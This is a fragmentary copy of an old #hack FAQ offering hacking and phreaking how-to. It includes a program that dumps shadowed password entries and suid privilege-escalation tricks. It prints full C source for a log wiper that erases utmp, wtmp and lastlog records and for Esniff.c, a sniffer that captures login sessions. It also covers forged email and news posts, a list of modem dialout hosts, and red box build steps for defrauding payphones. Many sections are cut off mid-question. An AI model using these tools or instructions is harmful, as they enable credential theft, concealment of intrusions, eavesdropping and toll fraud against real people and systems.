We may be ready to leave Beta soon. Several things must be fixed first. Look for 1.0 to appear in August or September.
Many sections are missing or incomplete. The #hack FAQ comes with no warranties, express or implied.
If your copy of the #hack FAQ does not end with the letters EOT on a line by themselves, you do not have the entire FAQ.
With special thanks to: A-Flat, Al, Aleph1, Bluesman, C-Curve, Edison, KCrow, Major, Presence, Rogue Agent, sbin and TheSaint.
Converted to HTML:
pannier@cs.tu-berlin.deBeta Revision .006
Password cracking software uses wordlists. Each word in the wordlist is encrypted with each of the 4096 possible salt values and the results are compared to the encrypted form of the target password.
The best cracking program for Unix passwords is currently Crack by
Alec Muffett. For PC-DOS, the best package to use is currently
CrackerJack.
03. How do I access the password file under VMS?
Under VMS, the password file is SYS$SYSTEM:SYSUAF.DAT. However,
unlike Unix, most users do not have access to read the password file.
04. How do I crack VMS passwords?
Write a program that uses the SYS$GETUAF functions to compare the
results of encrypted words against the encrypted data in SYSUAF.DAT.
Two such programs are known to exist, CHECK_PASSWORD and
GUESS_PASSWORD.
05. What is NIS/yp?
NIS (Network Information System) in the current name for what was once
known as yp (Yellow Pages). The purpose for NIS is to allow many
machies on a network to share configuration information, including
password data. NIS is not designed to promote system security. If
your system uses NIS you will have a very short /etc/passwd file with
a line that looks like this:
+::0:0:::
To view the real password file use this command "ypcat passwd"
06. What is password shadowing?
Password shadowing is a security system where the encrypted password
field of /etc/password is replaced with a special token and the
encrypted password is stored in a seperate file which is not readable
by normal system users.
To defeat password shadowing on many (but not all) systems, write a program that uses successive calls to getpwent() to obtain the password file.
Example:
#include <pwd.h>
main()
{
struct passwd *p;
while(p=getpwent())
printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->pw_passwd,
p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell);
}
:set shell=/bin/sh
:shell
If the program calls any other programs using the system() function call, you may be able to fool it by changing IFS. IFS is the Internal Field Seperator that the shell uses to delimit arguments.
If the program contains a line that looks like this:
system("/bin/date")
and you change IFS to '/' the shell will them interpret the
proceeding line as:
bin date
Now, if you have a program of your own in the path called "bin" the
suid program will run your program instead of /bin/date.
To change IFS, use this command:
set IFS '/'
Create a symbolic link named "-i" to the program. Running "-i" will cause the interpreter shell (/bin/sh) to start up in interactive mode. This only works on suid shell scripts.
Example:
% ln suid.sh -i
% -i
#
Replace a symbolic link to the program with another program while the kernel is loading /bin/sh.
Example:
nice -19 suidprog ; ln -s evilprog suidroot
Example:
suidprog ; id
Example:
#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"
int f;
void kill_utmp(who)
char *who;
{
struct utmp utmp_ent;
if ((f=open(UTMP_NAME,O_RDWR))>=0) {
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
}
}
void kill_wtmp(who)
char *who;
{
struct utmp utmp_ent;
long pos;
pos = 1L;
if ((f=open(WTMP_NAME,O_RDWR))>=0) {
while(pos != -1L) {
lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
pos = -1L;
} else {
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof(struct utmp ));
lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
write (f, &utmp_ent, sizeof (utmp_ent));
pos = -1L;
} else pos += 1L;
}
}
close(f);
}
}
void kill_lastlog(who)
char *who;
{
struct passwd *pwd;
struct lastlog newll;
if ((pwd=getpwnam(who))!=NULL) {
if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
write(f, (char *)&newll, sizeof( newll ));
close(f);
}
} else printf("%s: ?\n",who);
}
main(argc,argv)
int argc;
char *argv[];
{
if (argc==2) {
kill_lastlog(argv[1]);
kill_wtmp(argv[1]);
kill_utmp(argv[1]);
printf("Zap2!\n");
} else
printf("Error.\n");
}
HELO bellcore.com MAIL FROM:Voyagor@bellcore.com RCPT TO:clinton@whitehouse.gov DATA Please discontinue your silly Clipper initiative. . QUITOn systems that have RFC 931 implemented, spoofing your "MAIL FROM:" line will not work. Test by sending yourself fakemail first.
~From: ~Newsgroups: ~Subject: Message-ID: ~Date: Organization:For a moderated newsgroup, inews will also require this line:
Approved:
Then add your post and terminate with <Control-D>.
Example:
~From: Dale Drew
~Newsgroups: alt.2600
~Subject: Please forgive me
Message-ID: <d_drew.123@tymnet.com>
~Date: Fri, 13 Jun 1994 12:15:03
Organization: Tymnet Insecurity
Please forgive me for being such a worthless puke all of these years.
Sincerely,
Bartman
^D
Here are the diffs from a sample hack of the IRC client. Your client code will vary slighty depending on what IRC client version you are running.
*** ctcp.c.old Wed Feb 10 10:08:05 1993
--- ctcp.c Fri Feb 12 04:33:55 1993
***************
*** 331,337 ****
struct passwd *pwd;
long diff;
int uid;
! char c;
/*
* sojge complained that ircII says 'idle 1 seconds'
--- 331,337 ----
struct passwd *pwd;
long diff;
int uid;
! char c, *fing;
/*
* sojge complained that ircII says 'idle 1 seconds'
***************
*** 348,354 ****
if (uid != DAEMON_UID)
{
#endif /* DAEMON_UID */
! if (pwd = getpwuid(uid))
{
char *tmp;
--- 348,356 ----
if (uid != DAEMON_UID)
{
#endif /* DAEMON_UID */
! if (fing = getenv("IRCFINGER"))
! send_ctcp_reply(from, ctcp->name, fing, diff, c);
! else if (pwd = getpwuid(uid))
{
char *tmp;
*** irc.c.old Wed Feb 10 06:33:11 1993
--- irc.c Fri Feb 12 04:02:11 1993
***************
*** 510,516 ****
malloc_strcpy(&my_path, "/");
if (*realname == null(char))
strmcpy(realname, "*Unknown*", REALNAME_LEN);
! if (*username == null(char))
{
if (ptr = getenv("USER"))
strmcpy(username, ptr, NAME_LEN);
--- 510,518 ----
malloc_strcpy(&my_path, "/");
if (*realname == null(char))
strmcpy(realname, "*Unknown*", REALNAME_LEN);
! if (ptr = getenv("IRCUSER"))
! strmcpy(username, ptr, NAME_LEN);
! else if (*username == null(char))
{
if (ptr = getenv("USER"))
strmcpy(username, ptr, NAME_LEN);
This FAQ answer is excerpted from: Computer Security Basics
by Deborah Russell
and G.T. Gengemi Sr.
Use ATTRIB to make all of your EXE and COM files read only. This will protect you from many poorly written viruses.
Scan any software that you receive with a recent copy of a good virus scanner. The best virus scanner currently available for DOS is F-Prot by Fridrik Skulason. The current version is FP-212C. It is best to use more than one virus scanner. That will decrease your chances of missing a virus.
Backup regularly, and keep several generations of backups on hand.
If you always backup over your last backup, you may find yourself with
an infected backup tape.
16. What is Cryptoxxxxxxx?
This FAQ answer is excerpted from: Computer Security Basics
by Deborah Russell
and G.T. Gengemi Sr.
A message is called either plaintext or cleartext. The process of
disguising a message in such a way as to hide its substance is called
encryption. An encrypted message is called ciphertext. The process
of turning ciphertext back into plaintext is called decryption.
The art and science of keeping messages secure is called cryptography,
and it is practiced by cryptographers. Cryptanalysts are
practitioners of cryptanalysis, the art and science of breaking
ciphertext, i.e. seeing through the disguise. The branch of
mathematics embodying both cryptography and cryptanalysis is called
cryptology, and it's practitioners are called cryptologists.
17. What is PGP?
This FAQ answer is excerpted from: PGP(tm) User's Guide
Volume I: Essential Topics
by Philip Zimmermann
PGP(tm) uses public-key encryption to protect E-mail and data files.
Communicate securely with people you've never met, with no secure
channels needed for prior exchange of keys. PGP is well featured and
fast, with sophisticated key management, digital signatures, data
compression, and good ergonomic design.
Pretty Good(tm) Privacy (PGP), from Phil's Pretty Good Software, is a high security cryptographic software application for MSDOS, Unix, VAX/VMS, and other computers. PGP allows people to exchange files or messages with privacy, authentication, and convenience. Privacy means that only those intended to receive a message can read it. Authentication means that messages that appear to be from a particular person can only have originated from that person. Convenience means that privacy and authentication are provided without the hassles of managing keys associated with conventional cryptographic software. No secure channels are needed to exchange keys between users, which makes PGP much easier to use. This is because PGP is based on a powerful new technology called "public key" cryptography.
PGP combines the convenience of the Rivest-Shamir-Adleman (RSA)
public key cryptosystem with the speed of conventional cryptography,
message digests for digital signatures, data compression before
encryption, good ergonomic design, and sophisticated key management.
And PGP performs the public-key functions faster than most other
software implementations. PGP is public key cryptography for the
masses.
18. What is Tempest?
Computers and other electonic equipment release interference to their
surrounding environment. You may observe this by placing two video
monitors close together. The pictures will behave erratically until
you space them apart.
Although most of the time these emissions are simply annoyances, they can sometimes be very helpful. Suppose we wanted to see what project a target was working on. We could sit in a van outside her office and use sensitive electonic equipment to attempt to pick up and decipher the emanations from her video monitor.
Our competetor, however, could shield the emanations from her equipment or use equipment without strong emanations.
Tempest is the US Government program for evaluation and endorsement
of electronic equipment that is safe from eavesdropping.
19. How to I change to directores with strange characters in them?
These directories are often used by people trying to hide information,
most often warez (commercial software).
To change into these directories, you must determine what the special characters are. Often an ASCII chart will help. Another useful tool is the "dir *" command, which will show you the total length of the directory name.
On an IBM-PC, you may enter these special characters by holding down the <ALT> key and entering the decimal value of the special character on your numeric keypad. When you release the <ALT> key, the special character should appear on your screen.
If the directory name includes a <SPACE> or a <TAB> you will need to enclose the entire directory name in quotes. Example:
cd "..<TAB>"
N 20. What is ethernet sniffing?
Ethernet sniffing is listening (with software) to the raw ethernet
device for packets that interest you. When your software sees a
packet that fits certain criteria, it logs it to a file. The most
common criteria for an interesting packet is one that contains words
like "login" or "password."
Many enternet sniffers are available, here are a few that may be on your system now:
OS Sniffer
~~ ~~~~~~~
HP/UX nettl (monitor) & netfmt (display)
SunOS etherfind
Solaris snoop
DOS ETHLOAD
LanWatch
The Gobbler
Netmon
LanPatrol
Netwatch
Here is source code for an ethernet sniffer:
/* Esniff.c */
#include <stdio.h>
#include <ctype.h>
#include <string.h>
#include <sys/time.h>
#include <sys/file.h>
#include <sys/stropts.h>
#include <sys/signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <net/nit_if.h>
#include <net/nit_buf.h>
#include <net/if_arp.h>
#include <netinet/in.h>
#include <netinet/if_ether.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netinet/ip_var.h>
#include <netinet/udp_var.h>
#include <netinet/in_systm.h>
#include <netinet/tcp.h>
#include <netinet/ip_icmp.h>
#include <netdb.h>
#include <arpa/inet.h>
#define ERR stderr
char *malloc();
char *device,
*ProgName,
*LogName;
FILE *LOG;
int debug=0;
#define NIT_DEV "/dev/nit"
#define CHUNKSIZE 4096 /* device buffer size */
int if_fd = -1;
int Packet[CHUNKSIZE+32];
void Pexit(err,msg)
int err; char *msg;
{ perror(msg);
exit(err); }
void Zexit(err,msg)
int err; char *msg;
{ fprintf(ERR,msg);
exit(err); }
#define IP ((struct ip *)Packet)
#define IP_OFFSET (0x1FFF)
#define SZETH (sizeof(struct ether_header))
#define IPLEN (ntohs(ip->ip_len))
#define IPHLEN (ip->ip_hl)
#define TCPOFF (tcph->th_off)
#define IPS (ip->ip_src)
#define IPD (ip->ip_dst)
#define TCPS (tcph->th_sport)
#define TCPD (tcph->th_dport)
#define IPeq(s,t) ((s).s_addr == (t).s_addr)
#define TCPFL(FLAGS) (tcph->th_flags & (FLAGS))
#define MAXBUFLEN (128)
time_t LastTIME = 0;
struct CREC {
struct CREC *Next,
*Last;
time_t Time; /* start time */
struct in_addr SRCip,
DSTip;
u_int SRCport, /* src/dst ports */
DSTport;
u_char Data[MAXBUFLEN+2]; /* important stuff :-) */
u_int Length; /* current data length */
u_int PKcnt; /* # pkts */
u_long LASTseq;
};
struct CREC *CLroot = NULL;
char *Symaddr(ip)
register struct in_addr ip;
{ register struct hostent *he =
gethostbyaddr((char *)&ip.s_addr, sizeof(struct in_addr),AF_INET);
return( (he)?(he->h_name):(inet_ntoa(ip)) );
}
char *TCPflags(flgs)
register u_char flgs;
{ static char iobuf[8];
#define SFL(P,THF,C) iobuf[P]=((flgs & THF)?C:'-')
SFL(0,TH_FIN, 'F');
SFL(1,TH_SYN, 'S');
SFL(2,TH_RST, 'R');
SFL(3,TH_PUSH,'P');
SFL(4,TH_ACK, 'A');
SFL(5,TH_URG, 'U');
iobuf[6]=0;
return(iobuf);
}
char *SERVp(port)
register u_int port;
{ static char buf[10];
register char *p;
switch(port) {
case IPPORT_LOGINSERVER: p="rlogin"; break;
case IPPORT_TELNET: p="telnet"; break;
case IPPORT_SMTP: p="smtp"; break;
case IPPORT_FTP: p="ftp"; break;
default: sprintf(buf,"%u",port); p=buf; break;
}
return(p);
}
char *Ptm(t)
register time_t *t;
{ register char *p = ctime(t);
p[strlen(p)-6]=0; /* strip " YYYY\n" */
return(p);
}
char *NOWtm()
{ time_t tm;
time(&tm);
return( Ptm(&tm) );
}
#define MAX(a,b) (((a)>(b))?(a):(b))
#define MIN(a,b) (((a)<(b))?(a):(b))
/* add an item */
#define ADD_NODE(SIP,DIP,SPORT,DPORT,DATA,LEN) { \
register struct CREC *CLtmp = \
(struct CREC *)malloc(sizeof(struct CREC)); \
time( &(CLtmp->Time) ); \
CLtmp->SRCip.s_addr = SIP.s_addr; \
CLtmp->DSTip.s_addr = DIP.s_addr; \
CLtmp->SRCport = SPORT; \
CLtmp->DSTport = DPORT; \
CLtmp->Length = MIN(LEN,MAXBUFLEN); \
bcopy( (u_char *)DATA, (u_char *)CLtmp->Data, CLtmp->Length); \
CLtmp->PKcnt = 1; \
CLtmp->Next = CLroot; \
CLtmp->Last = NULL; \
CLroot = CLtmp; \
}
register struct CREC *GET_NODE(Sip,SP,Dip,DP)
register struct in_addr Sip,Dip;
register u_int SP,DP;
{ register struct CREC *CLr = CLroot;
while(CLr != NULL) {
if( (CLr->SRCport == SP) && (CLr->DSTport == DP) &&
IPeq(CLr->SRCip,Sip) && IPeq(CLr->DSTip,Dip) )
break;
CLr = CLr->Next;
}
return(CLr);
}
#define ADDDATA_NODE(CL,DATA,LEN) { \
bcopy((u_char *)DATA, (u_char *)&CL->Data[CL->Length],LEN); \
CL->Length += LEN; \
}
#define PR_DATA(dp,ln) { \
register u_char lastc=0; \
while(ln-- >0) { \
if(*dp < 32) { \
switch(*dp) { \
case '\0': if((lastc=='\r') || (lastc=='\n') || lastc=='\0') \
break; \
case '\r': \
case '\n': fprintf(LOG,"\n : "); \
break; \
default : fprintf(LOG,"^%c", (*dp + 64)); \
break; \
} \
} else { \
if(isprint(*dp)) fputc(*dp,LOG); \
else fprintf(LOG,"(%d)",*dp); \
} \
lastc = *dp++; \
} \
fflush(LOG); \
}
void END_NODE(CLe,d,dl,msg)
register struct CREC *CLe;
register u_char *d;
register int dl;
register char *msg;
{
fprintf(LOG,"\n-- TCP/IP LOG -- TM: %s --\n", Ptm(&CLe->Time));
fprintf(LOG," PATH: %s(%s) =>", Symaddr(CLe->SRCip),SERVp(CLe->SRCport));
fprintf(LOG," %s(%s)\n", Symaddr(CLe->DSTip),SERVp(CLe->DSTport));
fprintf(LOG," STAT: %s, %d pkts, %d bytes [%s]\n",
NOWtm(),CLe->PKcnt,(CLe->Length+dl),msg);
fprintf(LOG," DATA: ");
{ register u_int i = CLe->Length;
register u_char *p = CLe->Data;
PR_DATA(p,i);
PR_DATA(d,dl);
}
fprintf(LOG,"\n-- \n");
fflush(LOG);
if(CLe->Next != NULL)
CLe->Next->Last = CLe->Last;
if(CLe->Last != NULL)
CLe->Last->Next = CLe->Next;
else
CLroot = CLe->Next;
free(CLe);
}
/* 30 mins (x 60 seconds) */
#define IDLE_TIMEOUT 1800
#define IDLE_NODE() { \
time_t tm; \
time(&tm); \
if(LastTIME<tm) { \
register struct CREC *CLe,*CLt = CLroot; \
LastTIME=(tm+IDLE_TIMEOUT); tm-=IDLE_TIMEOUT; \
while(CLe=CLt) { \
CLt=CLe->Next; \
if(CLe->Time <tm) \
END_NODE(CLe,(u_char *)NULL,0,"IDLE TIMEOUT"); \
} \
} \
}
void filter(cp, pktlen)
register char *cp;
register u_int pktlen;
{
register struct ip *ip;
register struct tcphdr *tcph;
{ register u_short EtherType=ntohs(((struct ether_header *)cp)->ether_type);
if(EtherType < 0x600) {
EtherType = *(u_short *)(cp + SZETH + 6);
cp+=8; pktlen-=8;
}
if(EtherType != ETHERTYPE_IP) /* chuk it if its not IP */
return;
}
/* ugh, gotta do an alignment :-( */
bcopy(cp + SZETH, (char *)Packet,(int)(pktlen - SZETH));
ip = (struct ip *)Packet;
if( ip->ip_p != IPPROTO_TCP) /* chuk non tcp pkts */
return;
tcph = (struct tcphdr *)(Packet + IPHLEN);
if(!( (TCPD == IPPORT_TELNET) ||
(TCPD == IPPORT_LOGINSERVER) ||
(TCPD == IPPORT_FTP)
)) return;
{ register struct CREC *CLm;
register int length = ((IPLEN - (IPHLEN * 4)) - (TCPOFF * 4));
register u_char *p = (u_char *)Packet;
p += ((IPHLEN * 4) + (TCPOFF * 4));
if(debug) {
fprintf(LOG,"PKT: (%s %04X) ", TCPflags(tcph->th_flags),length);
fprintf(LOG,"%s[%s] => ", inet_ntoa(IPS),SERVp(TCPS));
fprintf(LOG,"%s[%s]\n", inet_ntoa(IPD),SERVp(TCPD));
}
if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) {
CLm->PKcnt++;
if(length>0)
if( (CLm->Length + length) < MAXBUFLEN ) {
ADDDATA_NODE( CLm, p,length);
} else {
END_NODE( CLm, p,length, "DATA LIMIT");
}
if(TCPFL(TH_FIN|TH_RST)) {
END_NODE( CLm, (u_char *)NULL,0,TCPFL(TH_FIN)?"TH_FIN":"TH_RST" );
}
} else {
if(TCPFL(TH_SYN)) {
ADD_NODE(IPS,IPD,TCPS,TCPD,p,length);
}
}
IDLE_NODE();
}
}
/* signal handler
*/
void death()
{ register struct CREC *CLe;
while(CLe=CLroot)
END_NODE( CLe, (u_char *)NULL,0, "SIGNAL");
fprintf(LOG,"\nLog ended at => %s\n",NOWtm());
fflush(LOG);
if(LOG != stdout)
fclose(LOG);
exit(1);
}
/* opens network interface, performs ioctls and reads from it,
* passing data to filter function
*/
void do_it()
{
int cc;
char *buf;
u_short sp_ts_len;
if(!(buf=malloc(CHUNKSIZE)))
Pexit(1,"Eth: malloc");
/* this /dev/nit initialization code pinched from etherfind */
{
struct strioctl si;
struct ifreq ifr;
struct timeval timeout;
u_int chunksize = CHUNKSIZE;
u_long if_flags = NI_PROMISC;
if((if_fd = open(NIT_DEV, O_RDONLY)) < 0)
Pexit(1,"Eth: nit open");
if(ioctl(if_fd, I_SRDOPT, (char *)RMSGD) < 0)
Pexit(1,"Eth: ioctl (I_SRDOPT)");
si.ic_timout = INFTIM;
if(ioctl(if_fd, I_PUSH, "nbuf") < 0)
Pexit(1,"Eth: ioctl (I_PUSH \"nbuf\")");
timeout.tv_sec = 1;
timeout.tv_usec = 0;
si.ic_cmd = NIOCSTIME;
si.ic_len = sizeof(timeout);
si.ic_dp = (char *)&timeout;
if(ioctl(if_fd, I_STR, (char *)&si) < 0)
Pexit(1,"Eth: ioctl (I_STR: NIOCSTIME)");
si.ic_cmd = NIOCSCHUNK;
si.ic_len = sizeof(chunksize);
si.ic_dp = (char *)&chunksize;
if(ioctl(if_fd, I_STR, (char *)&si) < 0)
Pexit(1,"Eth: ioctl (I_STR: NIOCSCHUNK)");
strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name));
ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0';
si.ic_cmd = NIOCBIND;
si.ic_len = sizeof(ifr);
si.ic_dp = (char *)𝔦
if(ioctl(if_fd, I_STR, (char *)&si) < 0)
Pexit(1,"Eth: ioctl (I_STR: NIOCBIND)");
si.ic_cmd = NIOCSFLAGS;
si.ic_len = sizeof(if_flags);
si.ic_dp = (char *)&if_flags;
if(ioctl(if_fd, I_STR, (char *)&si) < 0)
Pexit(1,"Eth: ioctl (I_STR: NIOCSFLAGS)");
if(ioctl(if_fd, I_FLUSH, (char *)FLUSHR) < 0)
Pexit(1,"Eth: ioctl (I_FLUSH)");
}
while ((cc = read(if_fd, buf, CHUNKSIZE)) >= 0) {
register char *bp = buf,
*bufstop = (buf + cc);
while (bp < bufstop) {
register char *cp = bp;
register struct nit_bufhdr *hdrp;
hdrp = (struct nit_bufhdr *)cp;
cp += sizeof(struct nit_bufhdr);
bp += hdrp->nhb_totlen;
filter(cp, (u_long)hdrp->nhb_msglen);
}
}
Pexit((-1),"Eth: read");
}
/* Authorize your proogie,generate your own password and uncomment here */
/* #define AUTHPASSWD "EloiZgZejWyms" */
void getauth()
{ char *buf,*getpass(),*crypt();
char pwd[21],prmpt[81];
strcpy(pwd,AUTHPASSWD);
sprintf(prmpt,"(%s)UP? ",ProgName);
buf=getpass(prmpt);
if(strcmp(pwd,crypt(buf,pwd)))
exit(1);
}
*/
void main(argc, argv)
int argc;
char **argv;
{
char cbuf[BUFSIZ];
struct ifconf ifc;
int s,
ac=1,
backg=0;
ProgName=argv[0];
/* getauth(); */
LOG=NULL;
device=NULL;
while((ac<argc) && (argv[ac][0] == '-')) {
register char ch = argv[ac++][1];
switch(toupper(ch)) {
case 'I': device=argv[ac++];
break;
case 'F': if(!(LOG=fopen((LogName=argv[ac++]),"a")))
Zexit(1,"Output file cant be opened\n");
break;
case 'B': backg=1;
break;
case 'D': debug=1;
break;
default : fprintf(ERR,
"Usage: %s [-b] [-d] [-i interface] [-f file]\n",
ProgName);
exit(1);
}
}
if(!device) {
if((s=socket(AF_INET, SOCK_DGRAM, 0)) < 0)
Pexit(1,"Eth: socket");
ifc.ifc_len = sizeof(cbuf);
ifc.ifc_buf = cbuf;
if(ioctl(s, SIOCGIFCONF, (char *)&ifc) < 0)
Pexit(1,"Eth: ioctl");
close(s);
device = ifc.ifc_req->ifr_name;
}
fprintf(ERR,"Using logical device %s [%s]\n",device,NIT_DEV);
fprintf(ERR,"Output to %s.%s%s",(LOG)?LogName:"stdout",
(debug)?" (debug)":"",(backg)?" Backgrounding ":"\n");
if(!LOG)
LOG=stdout;
signal(SIGINT, death);
signal(SIGTERM,death);
signal(SIGKILL,death);
signal(SIGQUIT,death);
if(backg && debug) {
fprintf(ERR,"[Cannot bg with debug on]\n");
backg=0;
}
if(backg) {
register int s;
if((s=fork())>0) {
fprintf(ERR,"[pid %d]\n",s);
exit(0);
} else if(s<0)
Pexit(1,"fork");
if( (s=open("/dev/tty",O_RDWR))>0 ) {
ioctl(s,TIOCNOTTY,(char *)NULL);
close(s);
}
}
fprintf(LOG,"\nLog started at => %s [pid %d]\n",NOWtm(),getpid());
fflush(LOG);
do_it();
}
Area Address(s) Command(s)
------ ------------------------------- ---------------------
201 128.112.88.0
128.112.88.1
128.112.88.2
128.112.88.3
204 umnet.cc.manitoba.ca "dial12" or "dial24"
206 dialout24.cac.washington.edu
215 wiseowl.ocis.temple.edu atz
atdt 9xxxyyyy
129.72.1.59 hayes compat
218 aa28.d.umn.edu cli
rlogin modem
at "login:" type
"modem"
modem.d.umn.edu "Hayes"
232 isn.rdns.iastate.edu MODEM [Works!!]
atz
atdt8xxx-xxxx
303 129.82.100.64 login: modem [need password!]
307 modem.uwyo.edu
129.72.1.59 hayes compat
313 35.1.1.6 "dial2400-aa" or [can't connect]
"dial1200-aa"
404 emory.edu .modem8 or
.dialout
broadband.cc.emory.edu .modem8 or
.dialout
128.140.1.239 .modem8|CR
or .modem96|CR
412 gate.cis.pitt.edu LAT
connect dialout
^E
atdt 91k xxx-xxxx
415 128.32.132.250 "dial1" or "dial2"
416 pacx.utcs.utoronto.ca modem
atdt 9xxx-xxxx
annex132.berkely.edu atdt 9,,,,, xxx-xxxx
502 uknet.uky.edu outdial2400
atdt 9xxx-xxxx
514 132.204.2.11 externe#9 9xxx-xxxx
515 isn.rdns.iastate.edu login MODEM
dial atdt8xxx-yyyy
602 129.219.17.3 atdt8,,,,,xyyyxxxyyyy
129.219.17.3 login: MODEM
atdt 8xxx-xxxx
609 129.72.1.59 "Hayes"
128.119.131.110 "Hayes"
128.119.131.111
128.119.131.112
128.119.131.113
128.119.131.114
128.112.131.110
128.112.131.111
128.112.131.112
128.112.131.113
128.112.131.114 the above are hayes
614 ns2400.ircc.ohio-state.edu DIAL [can't connect]
615 dca.utk.edu "dial2400"
617 dialout.lcs.mit.edu
619 dialin.ucsd.edu "dialout"
128.54.30.1 nue
713 128.143.70.101 "connect hayes"
128.249.27.154 c modem96
atdt 9xxx-xxxx
128.249.27.153 " -+ as above +- "
modem24.bcm.tmc.edu
modem12.bcm.tmc.edu
714 130.191.4.70 atdt 8xxx-xxxx
804 ublan.acc.virginia.edu c hayes
128.143.70.101 connect hayes
atdt xxx-xxxx
902 star.ccs.tuns.ca "dialout" [down...]
916 128.120.2.251 "dialout" [down...]
129.137.33.72 [can't connect]
??? dialout1.princeton.edu [can't connect]
dswitch.byu.edu "C Modem" [can't connect]
modem.cis.uflu.edu [can't connect]
r596adi1.uc.edu [can't connect]
vtnet1.cns.ut.edu "CALL" or "call" [can't connect]
18.26.0.55 [can't connect]
128.173.5.4 [need password!]
128.187.1.2 [need password!]
129.137.33.71 [can't connect]
bstorm.bga.com / port=4000 [what is this?]
You apply for an anonymous ID at the remailer site. Then, when you
send a message to the remailer, it sends it out from your anonymous ID
at the remailer. No one reading the post will know your real account
name or host name. If someone sends a message to your anonymous ID,
it will be forwarded to your real account by the remailer.
N 24. What are the addresses of some anonymous remailers?
The most popular and stable anonymous remailer is anon.penet.fi,
operated by Johan Helsingus. To obtain an anonymous ID, mail
ping@anon.penet.fi. For assistance is obtaining an anonymous account
at penet, mail help@anon.penet.fi.
Section B: Telephony
01. What is a Red Box?
When a coin is inserted into a payphone, the phone emits a set of
tones. A red box is a device that simulates those tones, with the
purpose of fooling the payphone into believing you have inserted an
actual coin.
02. How do I build a Red Box?
Red boxes are commonly manufactured from modified Radio Shack tone
dialers, Hallmark greeting cards, or made from scratch from readily
available electronic components.
To make a Red Box from a Radio Shack 43-141 or 43-146 tone dialer,
open the dialer and replace the crystal (the largest shiny metal
component) with a crystal close to 6.5Mhz. The most popular choice is
the 6.5536Mhz crystal. When you are finished, program the P1 button
with five *'s. That will simulate a quarter tone.
03. Which payphones will a Red Box work on?
Red Boxes will work on TelCo owned payphones, but not on COCOT's
(Customer Owned Coin Operated Telephones).
04. What is a Blue Box?
Blue boxes use a 2600hz tone to convince telephone switches that use
in-band signalling that the caller is actually a telephone operator.
The caller may then access special switch functions, with the usual
purpose of making free long distance phone calls, using the
Multi-Frequency tones provided by the Blue Box.
05. Do Blue Boxes still work?
Blue Boxes still work in areas using in-band signalling. Modern phone
signalling switches using ESS (Electronic Signalling Systems) use
out-of-band-signalling. Nothing you send over the voice portion of
bandwidth can control the switch.
06. What is a Black Box?
A Black Box is a 10k ohm resistor placed across your phone line to
cause the phone company equipment to be unable to detect that you have
answered your telephone. People who call you will then not be billed
for the telephone call.
07. What do all the colored boxes do?
Acrylic Steal Three-Way-Calling, Call Waiting and programmable
Call Forwarding on old 4-wire phone systems
Aqua Drain the voltage of the FBI lock-in-trace/trap-trace
Beige Lineman's hand set
Black Allows the calling party to not be billed for the call
placed
Blast Phone microphone amplifier
Blotto Supposedly shorts every fone out in the immediate area
Blue Emulate a true operator by siezing a trunk with a 2600hz
tone
Brown Create a party line from 2 phone lines
Bud Tap into your neighbors phone line
Chartreuse Use the electricity from your phone line
Cheese Connect two phones to create a divertor
Chrome Manipulate Traffic Signals by Remote Control
Clear A telephone pickup coil and a small amp use to make free
calls on Fortress Phones
Color Line activated telephone recorder
Copper Cause crosstalk interference on an extender
Crimson Hold button
Dark Re-route outgoing or incoming calls to another phone
Dayglo Connect to your neighbors phone line
Divertor Re-route outgoing or incoming calls to another phone
DLOC Create a party line from 2 phone lines
Gold Trace calls, tell if the call is being traced, and can
change a trace
Green Emulate the Coin Collect, Coin Return, and Ringback tones
Infinity Remotely activated phone tap
Jack Touch-Tone key pad
Light In-use light
Lunch AM transmitter
Magenta Connect a remote phone line to another remote phone line
Mauve Phone tap without cutting into a line
Neon External microphone
Noise Create line noise
Olive External ringer
Party Create a party line from 2 phone lines
Pearl Tone generator
Pink Create a party line from 2 phone lines
Purple Telephone hold button
Rainbow Kill a trace by putting 120v into the phone line (joke)
Razz Tap into your neighbors phone
Red Make free phone calls from pay phones by generating
quarter tones
Rock Add music to your phone line
Scarlet Cause a neighbors phone line to have poor reception
Silver Create the DTMF tones for A, B, C and D
Static Keep the voltage on a phone line high
Switch Add hold, indicator lights, conferencing, etc..
Tan Line activated telephone recorder
Tron Reverse the phase of power to your house, causing your
electric meter to run slower
TV Cable "See" sound waves on your TV
Urine Create a capacitative disturbance between the ring and
tip wires in another's telephone headset
Violet Keep a payphone from hanging up
White Portable DTMF keypad
Yellow Add an extension phone
Look up your NPA (Area Code) and try the number listed for it. If that fails, try 1 plus the number listed for it. If that fails, try the common numbers like 311, 958 and 200-222-2222. If that fails, try the nationwide ANAC number 404-988-9664. If you find the ANAC number for your area, please let us know.
Note that many times the ANAC number will vary for different switches in the same city.
A trick to getting the number of the phone line you are calling from is to call an (800) phone sex line. Example: (800)571-8859. These systems will give you an account number, which in many cases includes the telephone number of the phone from which you are calling.
Another useful 800 ANAC number is the Duke Power Company Automated Outage System at (800)769-3766. The system will read back to you the phone number from which you are calling.
Even another 800 ANAC number is Info Access Telephone Company's Automated Blocking line at (800)568-3197. It will read back to you the number from which you are calling, and ask if you would like it blocked.
